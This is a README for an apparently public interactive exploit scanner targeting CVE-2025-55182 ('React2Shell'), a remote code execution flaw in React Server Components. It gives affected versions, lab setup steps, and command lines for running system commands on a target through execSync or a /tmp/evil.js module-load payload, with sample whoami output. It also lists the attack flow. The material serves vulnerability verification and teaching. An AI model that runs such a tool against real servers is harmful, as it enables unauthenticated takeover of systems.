CVE-2025-55182 (React2Shell)

CVE-2025-55182 React RCE Test Program

🔒 CVE-2025-55182 Interactive RCE Scanner

This script is a vulnerability verification tool targeting CVE-2025-55182, a critical remote code execution (RCE) vulnerability in React 19.x's React Server Components (RSC) .

This tool determines whether the vulnerability exists on a real server and, depending on options, can execute commands, log outputs, or test using the two-stage RCE method (module#_load) .

⚠️ This tool must only be used in closed test environments for security auditing and vulnerability verification purposes .

---

📋 React2Shell (CVE-2025-55182) Vulnerability Summary

Item	Description
Vulnerability ID	CVE-2025-55182 (React) / CVE-2025-66478 (Next.js)
Vulnerability Name	React2Shell
Vulnerability Type	Remote Code Execution (RCE) – No authentication required
Severity (CVSS)	10.0 (Critical)
Discovered Date	2025-11-29 (Lachlan Davidson)
Attack Complexity	Very Low (Log4Shell level)
Vulnerability Description	A structural RCE vulnerability in Flight deserialization processing that allows access to the prototype chain (constructor, __proto__) through bracket notation in the requireModule() function

🧱 Affected Products and Versions

Product/Tool	Vulnerable Version	Patched Version
React.js	19.0.0, 19.1.0, 19.1.1, 19.2.0	19.0.1, 19.1.2, 19.2.1
react-server-dom-webpack	Same as above (↑)	Same as above
react-server-dom-parcel	Same as above (↑)	Same as above
react-server-dom-turbopack	Same as above (↑)	Same as above
Next.js 14	Some versions from 14.3.0.canary.77 and above	(Unofficially) recommend upgrading to 15.0.5 or above
Next.js 15	15.0.0 ~ 15.5.6	15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 15.6.0
Next.js 16	16.0.0 ~ 16.0.6	16.0.7
Other tools	React Router RSC, RedwoodJS, Vite RSC Plugin, Parcel RSC Plugin, etc.	Requires patching RSC dependencies of the respective projects

✅ Projects that include RSC functionality must also upgrade the react-server-dom-* modules to the latest version separately from React to be safe.

---

📚 Table of Contents

• 🗂️ 디렉토리 구조
• 🧩 주요 기능
• 📦 설치 방법
• 🚀 실행 예시
• 💬 인터랙티브 명령어 입력 예시
• ⚠️ 보안 주의사항
• 📚 기술 참고
• 📄 라이선스 및 사용 조건

---

🗂️ Directory Structure

CVE-2025-55182/
├── README.md                     # Full overview and scanner usage
├── DETECTION_RULES.md            # Detection/blocking rules collection
├── 설명 및 탐지규칙.md             # Korean detection rules explanation
├── cve_2025_55182_interactive.py # RCE verification scanner script
├── requirements.txt              # Scanner dependency list
├── setup_vulnerable_env.sh       # One-click vulnerable environment setup script
├── uninstall_vulnerable_env.sh   # Vulnerable environment cleanup/removal script
└── vulnerable-react-env/         # React2Shell vulnerable server practice code
    ├── README.md                 # Practice environment usage
    ├── package.json              # npm scripts and dependencies
    ├── server.js                 # Vulnerable Express backend
    ├── public/
    │   └── index.html            # CDN-based React frontend
    └── .gitignore

---

🧩 Key Features

✅ Interactively test whether RCE is possible on a vulnerable server
✅ Supports child_process#execSync (default) or module#_load method
✅ Save command execution results to a log file
✅ Send user-entered system commands to the server

---

📦 Installation

git clone <this-repo>
cd <this-repo>
pip install -r requirements.txt

---

🚀 Execution Examples

1. Basic RCE test (execSync method)

   • Command execution using child_process.execSync()
   • python cve_2025_55182_interactive.py http://localhost:3000 --rce

2. Two-stage RCE test (module#_load method)

   • Create a malicious JS file and execute it via module#_load
   • python cve_2025_55182_interactive.py http://localhost:3000 --rce --method moduleLoad

3. RSC-based RCE test (--rce2 option)

   • Execute payload via Next.js server component processing path
   • python cve_2025_55182_interactive.py http://localhost:3000 --rce2

4. Save command execution results to log

   • Save all command results to a specified log file
   • python cve_2025_55182_interactive.py http://localhost:3000 --rce --log rce_output.log

5. Full feature usage (method + log)

   • Use moduleLoad method together with log saving
   • python cve_2025_55182_interactive.py http://localhost:3000 --rce --method moduleLoad --log rce_output.log

6. Payload debugging output

   • Print the payload to the console before sending to the server
   • python cve_2025_55182_interactive.py http://localhost:3000 --rce --debug

---

🚧 Vulnerable React Server Practice Environment (OCI/Ubuntu)

The vulnerable-react-env folder contains an intentionally vulnerable React + Express server that can reproduce CVE-2025-55182.

1. Quick batch setup (recommended)
   
   • Running ./setup_vulnerable_env.sh will complete apt package installation → nvm/Node.js 20 installation → npm install in one go.
     
   • After completion, run the server with cd vulnerable-react-env && npm start or npm run dev.
     
   • ⚠️ Entering only npm run will just list the scripts. Be sure to specify the script name like npm start (or npm run start).
     
   • To clean up the environment, use ./uninstall_vulnerable_env.sh to remove node_modules, moduleLoad payload, and (optionally) Node 20 and nvm.
     
   • ❗️ If dependency errors like ERR_MODULE_NOT_FOUND: Cannot find package 'express' occur, run cd vulnerable-react-env && npm install to install node_modules, then run npm start again.
     
2. Manual setup (alternative)
   
   • sudo apt update && sudo apt install -y curl build-essential
     
   • curl -fsSL https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.7/install.sh -o /tmp/install_nvm.sh && bash /tmp/install_nvm.sh
     
   • nvm install 20 && nvm use 20
     
   • cd vulnerable-react-env && npm install
     
   • npm start (default port: 3000)
     
3. Exploit experience
   
   • Access http://localhost:3000 in a browser, then send _payload and cmd via the form
     
   • Or reproduce the RCE flow using the curl examples in vulnerable-react-env/README.md

⚠️ For research/educational purposes only. Do not expose to the internet.

---

💬 Interactive Command Input Examples

💬 Enter system command: whoami
✅ Response code: 200
📄 Response content: {"success":true,"result":"www-data"}

💬 Enter system command: id
✅ Response code: 200
📄 Response content: {"success":true,"result":"uid=1000(hacker) gid=1000(hacker)"}

💬 Enter system command: exit
👋 Exiting.

---

⚠️ Security Precautions

❌ Never use in production environments.
✅ This script must only be used in a local test environment or an isolated VM.
🛠️ The --method moduleLoad method creates an actual file at /tmp/evil.js.
🧾 When using the --log option, output results are stored in plaintext, so restrict file access.
🔐 All requests verify that actual JavaScript code is executed on the vulnerable server.

---

📚 Technical Reference

• Official CVE: CVE-2025-55182

• Exploit methods:

  1. child_process#execSync
  2. vm#runInThisContext
  3. fs#writeFileSync
  4. module#_load

• Attack flow:

  1. Send a specially crafted multipart/form-data to the /formaction endpoint
  2. Server calls requireModule()
  3. RCE occurs via prototype chain or bound function execution

---